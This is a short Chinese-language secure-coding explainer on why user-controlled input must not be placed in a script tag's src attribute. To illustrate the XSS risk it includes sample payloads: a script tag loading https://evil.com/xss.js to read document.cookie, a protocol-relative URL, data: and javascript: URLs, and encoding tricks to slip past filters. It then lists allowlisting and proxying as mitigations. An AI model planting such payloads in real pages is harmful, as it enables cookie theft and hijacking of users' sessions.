应禁止用户输入直接作为script标签src属性值,因其绕过html转义与服务端校验,可加载执行恶意js代码,窃取cookie、劫持表单、发起同域请求等。

因为浏览器会直接加载并执行该地址返回的任意JavaScript代码,且完全绕过服务端校验——攻击者只需控制src指向恶意域名,就能在用户浏览器中以目标网站上下文执行任意脚本。
src属性不经过HTML转义,只做URL解析
script标签的src属性是URI型上下文,浏览器不会对它的值做HTML实体解码或标签过滤。即使你对输入做了→<code><这类转义,只要最终拼进<script src="..."></script>里的字符串能被解析为合法URL,浏览器就会发起请求并执行响应体中的JS。
例如:
- 用户输入:
https://evil.com/xss.js - 后端未校验,直接拼成:
<script src="https://evil.com/xss.js"></script> - 浏览器立即向
evil.com发请求,下载并执行其中的alert(document.cookie)等代码
攻击者可轻松绕过常见前端防护
很多开发者误以为“只要不拼接<script></script>标签内部内容就安全”,却忽略了src本身就是一个独立的、高权限的执行入口:
- 不需要闭合引号或标签,不依赖
<code>>字符 - 支持协议相对URL(如
//evil.com/x.js)、data URL(data:text/javascript,alert(1))、甚至javascript伪协议(javascript:alert(1),部分旧浏览器支持) - URL编码、大小写混淆、前置空格(
%20javascript:...)都可能绕过简单字符串匹配过滤
执行环境具备完整页面权限
通过src加载的脚本,运行在当前页面的源(origin)下,享有全部DOM访问权、cookie读写权、localStorage操作权,还能调用fetch、XMLHttpRequest向同域接口发请求——相当于攻击者获得了用户登录态下的全部操作能力。
典型危害包括:
- 窃取
document.cookie并回传到攻击服务器 - 监听表单提交,劫持账号密码
- 伪造AJAX请求,以用户身份转账或删数据
- 注入iframe挂马,或重写页面内容进行钓鱼
正确做法:绝不信任用户输入作为src值
必须从源头禁止该模式:
- 禁止将任何用户可控参数(URL参数、表单字段、API返回值)直接用于
<script src="..."></script>的src属性 - 如需动态加载脚本,应使用白名单机制:仅允许预定义的内部路径(如
/js/widget-abc.js),或对输入严格校验协议+域名+路径格式 - 优先采用模块化方案(如ESM动态import())配合构建时确定资源路径,避免运行时拼接
- 若必须由用户指定外部资源,应由后端代理拉取、清洗、再返回给前端,而非让浏览器直连











